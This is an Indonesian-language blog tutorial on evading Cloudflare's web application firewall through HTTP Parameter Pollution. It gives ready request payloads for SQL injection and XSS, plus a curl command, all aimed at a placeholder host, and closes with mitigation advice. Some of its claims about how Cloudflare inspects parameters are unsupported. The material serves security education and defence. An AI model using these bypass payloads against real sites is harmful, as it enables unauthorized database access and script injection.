Hades Xploit
01HOME
02ARTICLES
03TOOLS
04TERMS
05PRIVACY
06DISCLAIMER
07LOGIN
08CTF

Xploit the Unknown // Defend the Known

mediumArticle

Mengelabui Cloudflare WAF dengan Teknik HTTP Parameter Pollution

x0_Hades
22 May 2026
3 min read
Mengelabui Cloudflare WAF dengan Teknik HTTP Parameter Pollution

Bypass Cloudflare WAF dengan HTTP Parameter Pollution

Pendahuluan

Cloudflare Web Application Firewall (WAF) adalah salah satu solusi keamanan paling populer di internet. Dengan aturan yang dikelola secara global, WAF ini mampu memblokir berbagai serangan seperti SQL Injection, XSS, dan Path Traversal. Namun, tidak ada sistem yang sempurna. Salah satu teknik yang dapat digunakan untuk mengelabui WAF adalah HTTP Parameter Pollution (HPP).

HPP adalah teknik eksploitasi yang memanfaatkan cara server web menangani beberapa parameter dengan nama yang sama dalam permintaan HTTP. Perbedaan interpretasi antara WAF (seperti Cloudflare) dan aplikasi backend dapat menyebabkan aturan keamanan terlewati.

Konsep Dasar HTTP Parameter Pollution

Ketika klien mengirimkan permintaan HTTP dengan parameter duplikat, misalnya:

http
GET /search?q=aman&q=berbahaya&q=juga HTTP/1.1
Host: target.com

Cara parser parameter bergantung pada framework/teknologi backend:

  • PHP / Apache: Hanya parameter terakhir yang digunakan (juga).
  • ASP.NET / IIS: Menggabungkan nilai dengan koma (aman,berbahaya,juga).
  • Node.js (Express): Tergantung parser query string, bisa menghasilkan array atau string pertama.

Cloudflare WAF biasanya hanya memeriksa parameter pertama atau menerapkan logika tertentu. Dengan memanipulasi urutan atau format parameter, payload berbahaya dapat disembunyikan dari WAF namun tetap diterjemahkan dengan benar oleh backend.

Eksploitasi Cloudflare WAF

Mari kita asumsikan sebuah aplikasi rentan SQL Injection di parameter username. Aturan Cloudflare WAF akan memblokir payload seperti:

sql
' OR 1=1 --

Permintaan normal:

http
GET /login?username=' OR 1=1 --&password=test HTTP/1.1
Host: target.com

Akan langsung diblokir oleh Cloudflare.

Teknik 1: Duplikasi Parameter

Kirim parameter username dua kali. Parameter pertama berisi nilai aman, parameter kedua berisi payload.

http
GET /login?username=admin&username=' OR 1=1 --&password=test HTTP/1.1
Host: target.com

Jika backend menggunakan PHP (mengambil parameter terakhir), maka query menjadi:

sql
SELECT * FROM users WHERE username='' OR 1=1 --' AND password='test'

Sementara Cloudflare WAF mungkin hanya memeriksa parameter pertama (admin) dan menganggapnya aman. Bypass berhasil.

Teknik 2: Menggunakan Kurung Siku (Array-like)

Beberapa framework (seperti Laravel, Flask) mendukung notasi array.

http
GET /search?q[]=aman&q[]=berbahaya HTTP/1.1
Host: target.com

Cloudflare mungkin tidak mendeteksi payload di dalam q[], tetapi backend akan mengubahnya menjadi array dan menggunakan nilai kedua.

Contoh eksploitasi XSS:

http
GET /profile?name=John&name[0]=<script>alert(1)</script> HTTP/1.1
Host: target.com

Jika backend menggabungkan parameter dengan cara tertentu, script akan tereksekusi.

Teknik 3: Encoding Ganda atau Case Sensitivity

Cloudflare WAF sering kali menormalisasi URL decoding. Namun, Anda bisa mengirimkan parameter dengan encoding parsial.

http
GET /api?param=value%26param=malicious HTTP/1.1
Host: target.com

Karakter & yang di-encode (%26) pada nilai parameter dapat diinterpretasikan oleh backend sebagai pemisah parameter baru, sementara Cloudflare melihatnya sebagai bagian dari nilai parameter yang sama.

Demonstrasi dengan curl

Berikut perintah curl untuk menguji bypass:

bash
curl -v "https://target.com/login?username=admin&username=' OR 1=1 --&password=test"

Jika respon 200 OK (daripada 403/block), maka HPP berhasil.

Mitigasi

  1. Gunakan parser parameter yang konsisten: Aplikasi harus memiliki satu cara yang jelas dalam menangani parameter duplikat, bukan bergantung pada default framework.
  2. Validasi di level backend: Jangan percaya penuh pada WAF. Lakukan sanitasi dan prepared statement.
  3. Konfigurasi Cloudflare WAF: Gunakan aturan kustom untuk mendeteksi parameter duplikat mencurigakan atau notasi array yang tidak biasa.
  4. Normalisasi permintaan: Sebelum masuk ke backend, normalisasi parameter (misalnya hanya menggunakan parameter pertama atau terakhir) untuk menghilangkan ambiguitas.

Kesimpulan

HTTP Parameter Pollution adalah teknik yang elegan namun berbahaya untuk mem-bypass WAF. Cloudflare sebagai WAF garis depan rentan terhadap perbedaan interpretasi dengan aplikasi target. Pengembang harus memahami bagaimana framework mereka memproses parameter, dan jangan hanya mengandalkan WAF sebagai satu-satunya lapisan keamanan. Dengan menggabungkan praktik coding aman dan konfigurasi yang tepat, risiko eksploitasi HPP dapat diminimalkan.


Referensi: OWASP Parameter Pollution, Penelitian keamanan web terbaru.